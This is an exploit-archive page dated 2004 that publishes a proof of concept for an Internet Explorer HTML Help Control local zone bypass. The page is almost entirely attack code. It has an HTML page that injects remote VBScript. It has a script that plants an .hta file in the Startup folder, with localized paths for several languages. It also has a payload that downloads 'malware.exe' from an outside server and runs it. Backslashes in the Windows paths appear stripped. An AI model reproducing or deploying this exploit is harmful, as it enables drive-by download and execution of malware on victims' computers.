[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Internet Explorer (<= XP SP2) HTML Help Control Local Zone Bypass
# Published : 2004-12-25
# Author : Paul
# Previous Title : MS Internet Explorer Remote Code Execution with Parameters - PoC
# Next Title : Netcat v1.1 "-e" Switch Remote Buffer Overflow Exploit
// sp2rc.htm //
<OBJECT id="localpage" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;file://C:WINDOWS
PCHealthHelpCtrSystemblurbstools.htm">
</OBJECT>
<OBJECT id="inject" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:
execScript("document.write("<script language=\"vbscript\"
src=\"http://site/writehta.txt\""+String.fromCharCode(62)+"
</scr"+"ipt"+String.fromCharCode(62))")'>
</OBJECT>
<script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>
// writehta.txt //
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://server;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save
"C:Documents and SettingsAll UsersStart MenuProgramsStartupMicrosoft Office.hta", adPersistXML
// Spanish Documents and SettingsAll UsersMenu InicioProgramasInicio
// French Documents and SettingsAll UsersMenu DémarrerProgrammesDémarrage
// Danish Documents and SettingsAll UsersMenuen StartProgrammerStart
// Dutch Documents and SettingsAll UsersMenu StartProgramma'sOpstarten
// Polish Documents and SettingsAll UsersMenu StartProgramyAutostart
// Italian Documents and SettingsAll UsersMenu AvvioProgrammiEsecuzione automatica
// Finn Documents and SettingsAll UsersKaynnista-valikkoOhjelmatKaynnistys
// Turkish Documents and SettingsAll UsersStart MenuProgramlarBASLANGIC Turkish
// Norwegian Documents and SettingsAll UsersStart-menyProgrammerOppstart
// Swedish Documents and SettingsAll UsersStart-menynProgramAutostart
// Portuguese Documents and SettingsAll UsersMenu IniciarProgramasIniciar
// German Dokumente und EinstellungenAll UsersStartmenuProgrammeAutostart
rs.close
conn.close
window.close
// f00bar.txt //
"meaning less shit i had to put here"
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open ""GET"",""http://server/malware.exe"",False : crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:malware.exe"",2 : crap="""
""" : Set ws = CreateObject(""WScript.Shell"") : crap="""
""" : ws.Run ""C:malware.exe"", 3, FALSE : crap="""
"""</script> crap="""
# www.Syue.com [2004-12-25]